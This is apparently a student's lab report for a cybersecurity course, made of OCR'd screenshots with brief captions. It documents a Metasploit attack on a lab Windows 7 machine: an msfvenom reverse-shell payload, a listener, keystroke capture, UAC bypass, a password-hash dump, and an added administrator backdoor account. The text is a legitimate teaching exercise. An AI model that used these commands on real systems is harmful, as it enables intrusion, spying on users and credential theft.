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TASK A

Task A. Break into the system (20 points) Configure Metasploit framework to set up a

meterpreter reverse shell connection to the target Windows 7 by using the following
configurations.

* Listening Port: Use 30122 as your port number.
* Payload Name: Use your MIDAS ID (for example, pjiang.exe).
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In the above screenshot I open up Metasploit with the commands ‘msfconsole’ in kali linux.
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In the above screenshot, I set the payload window/meterpreter/reverse tcp for reverse tcp and
then did show options and the following Lhost and Lport showed.
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In the above screenshot I set LHOST to 192.168.10.13 since were doing a reverse_tcp and the
LPORT to 30122. Then I typed in exploit so it’s starting its reverse TCP handler.
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In the screenshot above I typed in the commands msfvenom -p windows/meterpreter/reverse_tcp
lhost=192.168.10.13 Iport=30122 -f exe -0 nflor009.exe. I named my payload my MIDAS ID
nflor009.



TASK B

Task B. Basic Information harvesting (10 + 10 + 20 = 40 points) Once you have established the
reverse shell connection to t he target Windows 7, complete the following tasks in your
meterpreter shell:
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In the above picture I did the service apache?2 start and the service apache?2 status.
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In the above screenshot, I did the commands cp nflor009.exe /var/www/html and Is
/var/www/html and deleted index.* now our list shows just nflor009.exe. now we are prepare to
launch the attack on the windows 7.
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B Kali - Internal Workstation - VMware Workstation

file Edit View VM Tabs Help - o @ 0OBa g & -

x
LTy £ Kali- Internal Workstation 5 Windows 7 Workstation | Windows Server 2008 R2 x64 Ubuntu 64-5it ) Windows 7 - ECE/MSIM 470/570 Windows X - ECEMSIM 470)... * || [ 7] Windows X Professi
Typeh -
Applications v Places v Terminal v ‘Wed 20:52
My Computer
T CYsE root@CS2APenTest: ~

© Kali - Internal Workstation File Edit View Search Terminal Help

(G pFsense - Firewall 64-bit msf5 exploit( ) > use exploit/multi/handler

) Attacker Kali - External Workstation
msf5 exploit > show options
(53 Windows 7 Workstation BLoLEl ! L)

[ Windows XP Professional

) Windows Server 2008 R2 x64

[C] Ubuntu 64-bit

) DVWA-VM

[) Ubuntu1804-64-bit
[ ECE-MsM

[ SEED-Ubuntu20.04

[) SEEDUbuntu16.04

o fj:m::ﬁg::u? Current Setting Required Description

‘[ :N:::::;XpEii:g;x:;:g EXITFUNC process Exit technique (Accepted: '', seh, thread, process, none)
Sharsivs eomecnted LHoST 192.168.10.13 The listen address (an interface may be specified)

1 LPORT 30122 The listen port

Module options (exploit/multi/handler):
Name Current Setting Required Description

Payload options (windows/meterpreter/reverse tcp):

b
4 a :
Exploit target

Id Name

© Wildcard Target

-
[ 3
. 5 exploit( ) > exploit
Started reverse TCP handler on 192.168.10.13:30122

Sending stage (179779 bytes) to 192.168.10.9

Meterpreter session 1 opened (192.168.160.13:30122 -> 192.168.10.9:1051) at 2022-03-16 20:48:12 -0400

meterpreter > screenshot
Screenshot saved to: /root/ZmprhWlx.jpeg
meterpreter >
[To return to your computer, press Ctrl+Alt.
852PM
3/ Kali- Intemal Wor.. ADD)

In the above screenshot after executing the file and selecting run in windows 7 after downloading
the file in google chrome by using 192.168.10.13, I was able to see my file created nflor009.exe.
In kali linux I was able to exploit the meterpreter shell and then screenshot my file.
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e here to search -
Applications v Places ~ [ Terminal ~
= 1 My Computer
cvse root@CS2APenTest: ~
o [Kalinkctnal Worksiation File Edit View Search Terminal Help
» pFsense - Firewall 64-bit 1076 500 svchost
(] Attacker Kali - External Workstation 1168 500 svchost .

+ Windows 7 Workstation R e

0 Windows XP Prclesﬂsmna\’ 1288 936 taskeng. exe
Windows Server 2008 R2 x64
5] Ubuntu 64-bit 1304 500 svchost.exe
= WANM 1344 500 taskhost.exe WINDOWS7\Window :\Windows\system32\taskhost.exe
= WA 1376 1800 explorer.exe WINDOWS7\Window :\Windows\Explorer.EXE
Ubuntu1804-64-bit N
e 1476 500  VGAuthService.exe

1500 1376 vmtoolsd.exe WINDOWS7\Window :\Program Files\VMware\VMware Tools\vmtoolsd.exe
1504 500  vmtoolsd.exe

1860 852 dwm.exe WINDOWS7\Window :\Windows\system32\Dwm.exe

1864 620  WmiPrvSE.exe

2220 500 SearchIndexer.exe

2324 1376 chrome.exe > WINDOWS7\Window :\Program Files\Google\Chrome\Application\chrome.
2436 500 svchost.exe

2464 1288 GoogleUpdate.exe

2484 500 svchost.exe

2932 408 conhost.exe WINDOWS7\Window :\Windows\system32\conhost.exe

2976 1376 notepad.exe WINDOWS7\Window :\Windows\system32\notepad.exe

3048 500 wmpnetwk . exe

3144 500 msdtc.exe

3272 500 svchost.exe

3604 2324 chrome.exe WINDOWS7\Window :\Program Files\Google\Chrome\Application\chrome.
3684 2324 chrome.exe X WINDOWS7\Window Program Files\Google\Chrome\Application\chrome.
3716 2324 chrome.exe > WINDOWS7\Window :\Program Files\Google\Chrome\Application\chrome.
3724 1376 cmd.exe X WINDOWS7\Window Windows\system32\cmd.exe

4048 2324 chrome.exe WINDOWS7\Window :\Program Files\Google\Chrome\Application\chrome.

 SEED-Ubuntu20.04
7] SEEDUbuntu16.04
& Kali - ECE-MSIM 470-570
[C] Metasploitable2-Linux
] Windows 7 - ECE/MSIM 470/570
Windows XP - ECE/MSIM 470/570
Shared VMs (Deprecated)

meterpreter > keyscan_dump
Dumping captured keystrokes. ..

note<Down><CR>

<Right Shift>"<Shift>THis i<"H><"H><“H><*H><“H>his is <Shift><shift>Nathaly <Shift>Flores, happy spring break<Right Shift>!<Right Shift>"

meterpreter > [

Jro retum to your computer, press Ctri+Al

pel [ Kali- Interal W A W)

In this above screenshot I did the keyscan_start and keyscan _dump, it typed everything I wrote
in windows7 notepad and send it to kali linux.
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6 Keli- Internal Workstation - VNAware Workstation - 8 x
File Edit View VM Tabs Help 2 0o@ae O3 9B E -
) * | % Kali- Internal Workstation 1 Windons 7 Viorkstation Windows Server 2008 R2 x64 Ubuntu 64-bit Windows 7 - ECE/MSIM 470/570 Windows XP - ECEMSIM 470/, Windows XP Professi «»

My Computer
CYsE
% Kali - Internal Workstation
Fsense - Firewall 64-bit
Extemal Workstation

ECE-MSIM
> SEED-Ubuntu20.
SEEDUbuntu16.04
Kali - ECE-MSIM 470-570
Metasploitable2-Linux
Windo, E/MSIM
Windows XP - ECE/MSIM 4T
Shared VMs (Deprecated)

JTo return to your computer, press Ctri+Alt.

internal Wor.

Wed 22:04 S ) O~

root@CS2APenTest: ~

Applications ~  Places > [ Terminal ~ E =

File Edit View Search Terminal Help
# echo "IMadeIT-nflorees"

=2 |

> IMadeIT-nfloree9.txt

10:04 PM

A =) 3/16/2022

5 I My Computer
[7 cvse
@ Kali - Interal Workstation
[ pFsense - Firewall 64-bit
Attacker Kali - External Workstation
[ Windows 7 Workstation
Windows XP Professional
) Windows Server 2008 R2 x64
Ubuntu 64-bit
VWA-YM
Ubuntu1804-64-bit
(7 ECE-MSIM
 SEED-Ubuntu20.04
SEEDUbuntu16.04
@@ Kali - ECE-MSIM 470-570
Metasploitable2-Linux
Windows 7 - ECE/MSIM 470/570
Windows XP - ECE/MSIM 470/570
Shared VMs (Deprecated)

[To return to your computer, press Ctrl+ Al

Created my file IMadelT-nflor009.txt in a separate terminal echo

MadelT-nflor009

ory Bookmarks Profiles Window  Help Q"o 32 T 0 Qs Wed Mar 16 10:05 PM
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Apps G Google ES OduCourses M Gmail % PythonPrograms.. (@ Navy Federal Cred.. opy MyOdu|Mainview @ https:/www.cours.. "z Car-Part.com--Us.. [ GRP_TAS-Home [8) KosherSecondhan.. Wy Python Tutorial »
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Type here to search -

]

Applications ¥ Places ¥ Text Editor ~ Wed 22:05 S0 O~

= IMadelIT-nflor009.txt

Wed 22:00 03/16/2022

Open ~

Plain Text v Tab Width: 8 v Ln1, Col21

“IMadel T-nflor009” >
.txt added my timestamp in the above picture as well.
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Applications v Places ~ ) Terminal + Wed22:08 H s 700~

5 1 My Computer

= CYSE root@CS2APenTest: ~

> [ESCcemal Worksration File Edit View Search Terminal Help

’ZZ:::;'K:T&”:‘:'&wsmm 100666/rw-rw-rw- 656  fil  2017-08-23 11:45: Tools - Shortcut.lnk
Yorkstatt 100666/ rw-rw-rw- 282 fil  2017-08-23 11:15: desktop.ini

[ Windows 7 Workstation
Windows XP Professional
Windows Server 2008 R2 x64
Ubuntu 64-bit
DVWA-VM

[) Ubuntu1804-64-bit

& [ ECE-MSIM
3 SEED-Ubuntu20.04

SEEDUbuntu16.04
Kali - ECE-MSIM 470-570
Metasploitable2-Linux
Windows 7 - ECE/MSIM 470/570
Windows XP - ECE/MSIM 470/570

Shared VMs (Deprecated)

meterpreter > ls 'C:\Users\Window 7\Desktop'
Users\Window 7\Desktop

Type Last modified
100666/ rw- rw-rw- fil  2017-09-05 17:10:34 Nmap - Zenmap GUI.lnk
100666/ rw-rw-rw- 40 fil  2017-08-23 5: S-Tools. lnk
100666/ rw- rw-rw- 2017-08-23 Steghide. nk
100666/ rw- rw-rw- 2017-08-23 5: Tools - Shortcut.lnk
100666/ rw- rw-rw- fil  2017-08-23 11:15: desktop.ini

meterpreter > upload IMadeIT-nfloree9.txt
uploading : IMadeIT-nflor@e9.txt -> IMadeIT-nfloree9.txt
Uploaded 21.00 B of 21.00 B (100.0%): IMadeIT-nflor0e9.txt -> IMadeIT-nflor0e9.txt
uploaded  : IMadeIT-nflor@e9.txt -> IMadeIT-nflor@e9.txt

meterpreter > ls 'C:\Users\Window 7\Downloads'

Listing: C:\Users\Window 7\Downloads

Type Last modified Name

100666/ rw-rw-rw- fil  2022-03-16 22: -0400 IMadeIT-nfloree9.
100666/ rw-rw-rw- fil 2017-08-23 :15: -0400 desktop.ini
100777/ rwXrwxrwx fil  2022-03-16 E -0400 nfloree9 (1).exe
100777/ rwXrwxrwx fil  2022-03-16 20:25:51 -0400 nfloree9.exe

meterpreter > upload IMadeIT-nfloro@9.txt 'C:\Users\Window 7\Desktop'
uploading : IMadeIT-nfloree9.txt -> C:\Users\Window 7\Desktop
uploaded IMadeIT-nflor@@9.txt -> C:\Users\Window 7\Desktop\IMadeIT-nflor009.txt
meterpreter > |
[To return to your computer, press Ctrl+Alt.

- 10:08 PM
g ) Keli- Intemal Wor B 36002

In the above picture I did the following commands in the Window 7 system. I uploaded
IMadelT-nflor009 unto the desktop using commands: upload IMadelT-nflor009.txt
‘C:\Users\Window 7\Desktop’. File was successfully added.
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My Computer
CvsE
@ Kali - Internal Workstation
[ pFsense - Firewall 64-bit
Attacker Kali - External Workstation
+ Windows 7 Workstation
Windows XP Professional
Windows Server 2008 R2 x64
Ubuntu 64-bit Google  IMadelT-nf..
VWA-VM Chrome
Ubuntu1804-64-bit
ECE-MSIM
2 SEED-Ubuntu20.04
[C) SEEDUbuntu16.04

e

£ Metasploitable2-Linux
indows 7 - ECE/MSIM 470/570

) Windows XP - ECE/MSIM 470/570
Shared VMs (Deprecated)

Steghide

In the above screenshot the file IMadelT-nflor009.txt was successfully added into Window 7
desktop.
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TASK C

Task C. Privilege escalation (10+10+10+10 = 40 points points) Background your current session,
then gain administrator-level privileges on the remote system. After you escalated the privilege,
complete the following tasks:
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Lbrory X | & Kali- 1nteral workstation < || I windows 7 Viorkstation Windows Server 2008 R2 64 Ubunt 64+t Vindows 7 -ECEMSIM 470/570 | ] Windows XP - ECEMSIM 470/ ] Windows XP Professional 3 SEED-Ubuntu20.04 <

Applications ~  Places ~ [ Terminal ~ Wed 22:40

y Computer
cvse root@CS2APenTest: ~
5 (RS TRemalWaHEn File Edit View Search Terminal Help

L’Z::’"EE;“'EVWE‘:""&“‘”\"V et BypassUAC can bypass this setting, continuin

‘—jw e; < f:u k;”"a orletation Part of Administrators group! Continuing

2 Windows X0 Profesional Uploaded the agent to the filesystem.

S Uploading the bypass UAC executable to the filesystem...

] g e 2008 R Meterpreter stager executable 73802 by ‘ung being uploaded. .

L] Ubuntu 64-5i Sending stage (179779 bytes) to 192.16:

‘:E:m "/;;mb‘ Meterpreter session 2 opened (192.168.10. 13 4444 -> 192.168.10.9:1064) at 2022-03-16 22:35:22 -0400
:SEEDUW“"ZU“‘W Backgrounding session 2..

(D) Kali - ECE-MSIM 470 msfs exploit( ) > sessions

] Metssplotable2-Linux

T Windows 7 - ECE/MSIM 4707

) Windows XP - ECE/MSIM470/570
Shared VMs (Deprecated)

Active sessions

d Name Type Information

I
1 meterpreter x86/windows WINDOWS7\Window 7 @ WINDOWS7 192.168.10.13:30122 -> 192.168.10.9:1051 (192.168.10.9)
2 meterpreter x86/windows WINDOWS7\Window 7 @ WINDOWS7 192.168.10.13:4444 -> 192.168.10.9:1064 (192.168.10.9)

msfs exploit( ) > sessions -i 2
Starting interaction with 2...

meterpreter > hashdump

Admmatuatm 500:aad3b435b51404eeaad3ba35b51404ee : 31d6cFe0d16ae931b73c59d
501:2ad3b435b51404eeaad3ba35b51404ee : 31d6cfe0d16ae931b73c59d7e0c08IC

Homearcupu;eri 1002:2ad3b435b51404eeaad3ba35bs1404ee : 2d79¢757c09bad313956290e444b23 :

Window 7:1000:aad3b435b51404eeaad3b435b51404ee: 8846f7eacesfb117ado6bdds30b7586¢

meterpreter > shell

Process 2564 created.

Channel 1 created

Microsoft Windows [Version 6.1.7600]

Copyright (c) 2009 Microsoft Corporation. ALl rights reserved.

C:\Windows\System32>net user Nathaly Flores /add
net user Nathaly Flores /add
The command completed succe:

C:\Windows\System32>]|

[T retum to your computer, press Ctrl+ At

yel [/ Keli- Intemal Wor.
History Bookmarks Profiles Tab Window Help 0O o % ®@ Q 8 Wed Mar 16 10:30 PM
Ol Dominion University MOVE X VMware Horizon X G why does myviziotvkeepdisc X | & How to Fix: Vizio TvKeeps Dis. X | - Troubleshooting your Wireless X | G whatislistening portandacro X | + v
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Ly X | & Kali- Internal Workstation > || [ Windows 7 Workstation ] Windows Server 2008R2 x64 ) Ubuntu 64bit F] Windows 7 -ECEMMSIM 470/570 | | [ Windows XP - ECEMSIM 470/... Windows ¥P Professi... «»

pe here

Applications v Places v ) Terminal ~ Wed 22:30

My Computer
Vs root@CS2APenTest: ~
iy [KanCntemallWorksiation File Edit View Search Terminal Help
3 pFsense - Firewall 64-bit
) Attacker Kali - External Workstation

+ Windows 7 Workstation Type Last modified

] Windows XP Professional

Windows Senver 2008 R2 x64 100666/ rw-rw-rw- 21 fil  2022-03-16 22:01:53 -0400 IMadeIT-nflor0e9.txt
Ubonte 6461 100666/ rw-rw-rw- 282  fil ~ 2017-08-23 11:15:25 -0400 desktop.ini
=1 DVWAVM 100777/rwxrwxrwx 73802 fil  2022-03-16 20:47:56 -0460 nflor009 (1).exe
100777/rwxrwxrwx 73802 fil — 2022-03-16 20:25:51 -0400 nflor0e9.exe
] Ubuntu1804-64-bit
=) ECE-MSIM

meterpreter > upload IMadeIT-nflor@e9.txt 'C:\Users\Window 7\Desktop'

[ SEED-Ubuntu20.04 uploading : IMadeIT-nflor0e9.txt -> C:\Users\Window 7\Desktop

SEEDUbuntu16.04

. uploaded  : IMadeIT-nflor0e9.txt -> C:\Users\Window 7\Desktop\IMadeIT-nflor0e9.txt
& Kali - ECE-MSIM 470-570 o reter i .
meterpreter > Interrupt: use the 'exit' command to quit

Metasploitable2-Linux
] Windows 7 - ECE/MSIM
Windows XP - ECE/MSIM 470/570
Shared VMs (Deprecated)

meterpreter > net user /add Nathaly Flores
Unknown command: net.

meterpreter > shell

Process 2308 created.

Channel 4 created.

Microsoft Windows [Version 6.1.7600]

Copyright (c) 2009 Microsoft Corporation. ALl rights reserved.

Users\window 7\Downloads>exit

exit

meterpreter > background
Backgrounding session 1.

nsfs exploit( ) > sessions

Active sessions

Id Name Type Information Connection

1 meterpreter x86/windows WINDOWS7\Window 7 @ WINDOWS7 192.168.10.13:30122 -> 192.168.10.9:1051 (192.168.16.9)

5 exploit( ) > search bypassuacl]

[To return to your computer, press Ctr+Att

In the followmg screenshot I did a bypass system for admin privileges by bypassuac and setting
sessions 1 and 2 than using commands sessions -i 2 than hashdump then add user.
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Applications ~

My Computer
= [ cvse

@ Kali - Intemal Workstation

¥ pFsense - Firewall 64-bit

T Attacker Kali - External Workstation
dows 7 Workstation
Windows XP Professional

 SEED-Ubuntu20.04
SEEDUbuntu16.04
Kali - ECE-MSIM 4
Metasploitable2-Linux
Windows 7 - ECE/MSIM 470/570
Windows XP - ECE/MSIM 470/570

Shared VMs (Deprecated)

o
|
L]

bt

e

=

> return to your computer, press Ctrl+Al.

Kali - Internal Workstation

3 Windows 7 Workstation [T Windows Server 2008 R2 x64 Ubuntu 64t Windows 7 - ECEMMSIM 470/570 Vindows XP - ECEMSTM 470)... Windows XP Professional

Places v [ Terminal ~ Wed22:42

root@CS2APenTest: ~

File Edit View Search Terminal Help

BypassUAC can bypass this setting, continuing..

Part of Administrators group! Continuing

Uploaded the agent to the filesystem....

Uploading the bypass UAC executable to the filesystem

Meterpreter stager executable 73802 bytes long being uploaded..

Sending stage (179779 bytes) to 192.168.10.9

Meterpreter session 2 opened (192.168.10.13:4444 -> 192.168.10.9:1064) at 2022-03-16 22:35:22 -0400

meterpreter > background
Backgrounding session 2..

msfs exploit( ) > sessions

Active sessions

Name Type Information Connection

(192.168.10.9)
192.168.10.9)

WINDOWS7\Window 7 @ WINDOWS7 192.168.10.13:30122 -> 192.168

meterpreter x86/windows .10.9:1051
WINDOWS7\Window 7 @ WINDOWS7 192.168.10.13:4444 -> 192.168.10.9:1064 (

meterpreter x86/windows
) > sessions

msf5 exploit( -i2

starting interaction with 2.

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3bd35b51404ee: 31d6cfe0d16ae931b73c59d7€0c089
Guest:501:aad3b435b51404eeaad3bd35b51404ee: 31d6CFe0d16ae931b73c59d7e0CO89CO: : :
HomeGroupUsers : 1002:aad3b435b51404eeaad3ba35b51404ee : 2d79¢7 F57c09bad3139F56290e444b23
window 7:1000:aad3b435b51404eeaad3b435b51404ee: 8346 7eaced b117ado6bddB30b7586¢: : :
meterpreter > shell

Process 2564 created.

Channel 1 created.

Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\System32>net user Nathaly Flores /add

net user Nathaly Flores /add

The command completed successfully.

C:\Windows\System32>]

[1]

3 SEED-Ubuntu20.04

w ) O~

O Hi [ Keii-Intemal We
«h OId Dominion University MOV: X VMware Horizon x why does my vizio tv keep dis: X | £& How toFix: Vizio Tv Keeps Dis: X | “ Troubleshooting your Wireless X | G whatis listening portandacro X | + v
<« (<] (- move.odu.edu/portal/webclient/index.htmi?desktopld=cn%3Dmove_cyse_1809_v1_ic,ou%3Dapplications,dc%3Dvdi,dc%3Dvmware,dc%3Di Cyber%20Security¥ art=AAQAAK.. [ @ {z) 3 » = 0@ :
i Apps G Google B OduCourses M Gmail % PythonPrograms.. @ Navy Federal Cred... ohy MyOdu|Mainview @ hitpsi/www.cours.. T Car-Part.com--Us.. [ GRP_TAS-Home [] KosherSecondhan.. W PythonTutorial () Peratoninc.-My.. & Old Dominion Uni »
7 Windows 7 Workstation - VMuware Workstation - x
ile Edit View VM Tebs Help e peae DOOF & -
ra <[
ud ' Kali - Internal Workstation  Windows 7 Workstation Windows Server 2008 R2 x64 ) Ubuntu 64-bit Windows 7 - ECEMSIM 470/570 [T Windows XP - ECEMSIM 470/. Windows XP Professional 3 SEED-Ubuntu20.04 Al
My Computer =~
= [ ovse <[5 <« User Accounts » Manage Accounts
@\/ 52, <« User Accounts » Manage Account )

5 Kali - Interal Workstation
¥ pFsense - Firewall 64-bit
) Attacker Kal - Extemal Workstation
3 Windows 7 Workstation
Windows XP Professional
Windows Server 2008 R2 x64
Ubunty 64-bit
DVWA-YM
Ubuntu1804-64-bit

Metasploitable2-Linux
[F) Windows 7 - ECE/MSIM 470/570
Windows XP - ECE/MSIM 470/570
Shared VMs (Deprecated)

Choose the account you would like to change

Window 7
Administrator
Password protected

Nathaly

%l Standard user
8] Password protected

IMadelT-nf.

Guest

Guest account is off

Additional things you can do

Goto the main Us;

return to your computer, move the mouse pointer outside or press Ctrls,

Al

N m::sv

M
3/16/2022

022

In the above screenshot after my adding net user Nathaly Flores /add was added into windows 7
system and as a standard user.

12



«h Old Dominion University MOVE X VMware Horizon X G why does myviziotvkeepdisc X | £ How to Fix: Vizio Tv Keeps Dis: X | v Troubleshooting your Wireless X | G whatis listening portand acro: X | + v
<« ! C. m du. T htm Dmove_cyse_1809_v1_ic,ou%3Dapplications,dc%3Dvdi,dc%3Dvmware,dc%3Di yber%: ity% 20! art=AAQAAK. [wiN G} H
: Apps G Google B3 OduCourses M Gmail ' PythonPrograms.. (@ Navy Federal Cred.. oss MyOdu|Mainview @ httpsi/www.cours.. T Car-Part.com- @ GRP_TAS - Home [8] KosherSecondhan.. W' Python Tutorial () Peraton Inc. - My.. «» Old Dominion Uni. »
@ Kali - Intemal Workstation - VMware Workstation X
Fle Edt View VM Tabs Help - oea2/DE8TN M-
Hibrary X | & Kali- Internal Workstation - | I3 Windows 7 Workstaton Windows Server 2008 R2 64 Ubuntu 645t Windows 7 -ECEMSIM 470/570 Windows XP - ECEMSIM 470/ Vindows XP Professional 5 SEED-Ubuntu20.04 <

Applications v Places v [ Terminal ~

5 1 My Computer
cvse
! Kali- Intemal Workstation
3 pFsense - Firewall 64-bit
Attacker Kali - External Workstation

 Windows 7 Workstation

File Edit View Search Terminal Help
Windows\System32>net user Nathaly Flor

net user Nathaly Flores /add

The command completed successfully.

R

"] Windows XP Professional
Windows Server 2008 R2 x64
Ubuntu 64-bit

DVWA-VM

:\Windows\System32>net localgroup administrato,
Ubuntu1804-64-bit d

net localgroup administrators Nathaly Flores /ad
There is no such global user or group: Flores.

The command completed with one or more errors.

" Metsplomabled-Limoe More help is available by typing NET HELPMSG 3783

Windows XP - ECE/MSIM 470/5

Shared WVt (Deprecated) Windows\System32>net localgroup administ ratodz

net localgroup administrators Nathaly Flo
There is no such global user or group: Flores.
The command completed with one or more errors.
More help is available by typing NET HELPMSG 3783
:\Windows\System32>net localgroup administrators
net localgroup administrators Nathaly Flores /add
There is no such global user or group: Flores
The command completed with one or more errors.
More help is available by typing NET HELPMSG 3783
:\Windows\System32>net localgroup administrators
net localgroup administrators Nathaly /ad

System error 1378 has occurred.

The specified account name is already a member of

Windows\System32>]]

o direct input to this VM, click inside or press Ctrl+G,

root@CS2APenTest: ~

Nathaly Flores /add

Nathaly Flores /add

Nathaly Flores /add

Nathaly /add

the group.

th Old Dominion Universiy MOVE X | = Vwiware Horizon X G why does my viziotv keep disc X | £ Howto Fix Vizio T Keeps D X | v Toubleshooting your Wireles: x | G whatis stening portandacro. X | +
(& move.odu webclie htm C cyse_1809_v1_ic,0u%3L dc%3Dvd],de%3t e,dc%3L ber%%20S 521 SAMLart=AAGAAK.. [ ) %) =

i s =] M b ® ) 5 o o] w o W

" Windows 7 Workstation - WNware Workstation

le Edit View VM Tabs Help -2 0e OB8da® b &E-

o X | @ Kai- Internal iorkstaton 5 Windows 7 Workstation Windows Server 2008 R2 x64 Uit 645it Windows 7-ECEMSIM 470/570 Windons XP - ECEMSIM 470/... Windows X Professional S SEED-Ubunt20.04
e here to searc

= My Computer
cvse

@& Kali- Intemnal Workstation

3 pFaense - Firewall 64-bit

Attacker Kali - External Workstation
3 Windows 7 Workstation

Windows XP Professional

Windows Server 2008 R2 x64

Ubuntu 64-bit

]

Google  IMadelT-nf...
DVWA ne

ECE-MSIM

5 SEED-Ubuntu20.04
SEEDUbuntu16.04
Kali - ECE-MSIM 470-570
Metasploitable2-Linux

] Windows 7 - ECE/MSIM 470/570

Windows XP - ECE/MSIM 470/570
Shared VM (Deprecated)

Tools -
Shorteut

G )sR «u s » Manage Account
Choose the account you would like to change

Window 7 | Nathaly
Eﬂ/ | Administator
S| password protected

Administrator
Password protected

uest
Guest accountis off

lirect input to this VM, move the mouse pointer inside or press Ctrl+G.

In the screenshot above shows I was granted administration privileges in Windows 7 system.

Also shows when I did the commands in the terminal, it is giving me an error until I refreshed it
and turns out I successfully have the administrators privileges.
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W Old Dominion University MOVE X VMware Horizon X G why does my vizio tv keep dis

X | 41 Howto Fix: Vizio Tv Keeps Dis: X

> Troubleshooting your Wireles:

x | G whatisistening portandacro x | +

belient/ind

¢ > & (& nowon

_cyse_1809_v1_ic,0u%3Dapplications,dc%3Dvdi,dc%

Y art=AAQAAK... [ ¢

Di

Dvmware, d

%) > © %

3 MyOdu| Mainview @ https:/fww

cours.. " Car-Part.com--Us.

B GRP_TAS - Home

[8 Koshersecondhan

W Python Tutorial Q) Peraton nc. - My

«Wh 0ld Dominion Uni.

Apps G Google B OduCourses M Gmail |3 PythonPrograms.. @ Navy Federal Cred.
) Windows 7 Workstation - VMware Workstation 5 X
File Edit View VM Tebs Help &0 a 0Dena
= X | &5 Kak - Internal Workstation [i Ubuntu 644it ] Windows 7 -ECEMSIM 470/570 Windows XP -ECEMMSIM 470]... Windows X Professionl =) SEED-Ubuntu20.04 “r
e here to sear
= 3 My Computer
cvse o

@ Kali - Internal Workstation Recycle Bin
[55 pFsense - Firewall 64-bit

[T Attacker Kali - Eternal Workstation
(53 Windows 7 Workstation

[T Windows XP Professional

[T Windows Server 2008 R2 64

() Ubuntu 64-bit

) DVWA-YM

[T Ubuntu1304-64-bit

ECE-MSIM

IMadelT-n.

() Metasploitable2-Linux

[T Windows 7 - ECE/MSIM 470/570

() Windows XP - ECE/MSIM 470/570
Shared VMs (Deprecated)

e

& Steghide
© Windous [Version 6.1.76001
[Copyright <c> 2089 Microsoft Corporation. ALl right
eghidenestat
recognized as an internal or external

or hatch file.

o:\Too15\s

foperable progran

lactive Connections
Foreign Addre
192.168.10.13 3012

Proto Local A
1c
192.168.19.13:4444

ddre
192.168.10.9
92.168.10.
teghide>netstat —o
fpctive Connection
Proto

Local fddress Foreign Addr
2.168.10.9 192

cl “168. ©168.10.13:301
TCP  192.168.10.9: 192.168.10.13:44:

lc:\Tools\steghide>

reserved.

conmand,

state
ESTABLISHED
ESTABLISHED

State
ESTABLISHED
ESTABLISHED

Nathaly
Administrstor
Password protected

=[55I

o return to your computer, move the mouse pointer outside or press Ctrl+ Al

In the above picture are the netstat commands that show active TCP connections from the

attacker 192.168.10.13 user.
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3. Remote access to the malicious account created in Task C.1, and browse the files belonging to
the user, "Windows 7", in RDP.

Bookmarks Profiles Tab Window Help Fri Mar 18 7:42 AM

® ®  » old Dominion University MOVE X VMware Horizon x  +

€ > C & move.odu i i html s3Dmove_cyse_1809_v1_ic,ou%3Dapplications,dc%3Dvdi,dc%3Dvmware,dc%3Dint&desktopName=Cyber%20Se.. [ v » © & 0 0

Apps G Google [ OduCourses M Gmail % PythonPrograms.. (@ Navy Federal Cred.. osy MyOdu|Mainview @ https:/www.cours.. " Car-Part.com--Us.. [ GRP_TAS-Home [G] KosherSecondhan.. V¥ Python Tutorial
& Kali- Internal Workstation - VMware Workstation =
Fle Edit View VM Tabs Hep |l ~ & O @ 2 [0 B O & &~

Library x

[ pFsense - Firewall 64-bit 3 Kali - Internal Workstation (53 Windows 7 Workstation () Windows Server 2008 R2 x64 [ Ubuntu 64-bit () Windows 7 - ECEMMSIM 470/570 ) win...

T ere c v
Applications ¥ Places v [ Terminal ~ Fri 07:42 [ o) O~
& [ My Computer
= [ cvse root@CS2APenTest: ~
f‘} EaitealWoisiatory File Edit View Search Terminal Help
[ pFsense - Firewall 64-bit : # rdesktop -u Nathaly Flores -p password 192.168.10.9
(7] Attacker Kali - External Workstation rdesktop: A R e Deskt Prot 1 cl t
5 Windows 7 Workstation rdesktop: Remote Desktop Protocol client.
ey Version 1.8.6. Copyright (C) 1999-2011 Matthew Chapman et al.

7] Windows XP Professional
ee h H .rdesk .ort r mort nforma 5
) Windows Server 2008 R2 x64 See http://www.rdesktop.org/ for more information

[F] Ubuntu 64-bit
] DVWA-VM
] Ubuntu1204-64-bit
& [] ECE-MSIM
7] SEED-Ubuntu20.04
SEEDUbuntu16.04
@ Kali - ECE-MSIM 470-570
[F] Metasploitable2-Linux
[T Windows 7 - ECE/MSIM 470/570
[T] Windows XP - ECE/MSIM 470/570
Shared VMs (Deprecated)

rdesktop [options] server[:port]
u: user name
Zenmap(asiroot)
shell / seamless application to start remotly
working directory
password (- to prompt)
cl t hostname
keyboard layout on server (en-us, de, sv, etc.)
desktop geometry (WxH)
enables smartcard authentication, password is used as pin
full-screen mode
force bitmap updates
local codepage
: path to SeamlessRDP shell, this enables SeamlessRDP mode
use BackingStore of X-server (if available)
disable encryption (French TS)
disable encryption from client to server
do not send motion events
use private colour map

o direct input to this VM, click inside or press Ctrl+G.

[/ Kali- Intemal Wor...

Im not too sure why my remote desktop will not open, but I try all ways until my internal kali
linux got stuck and force me to reboot the Cybersecurity environment.
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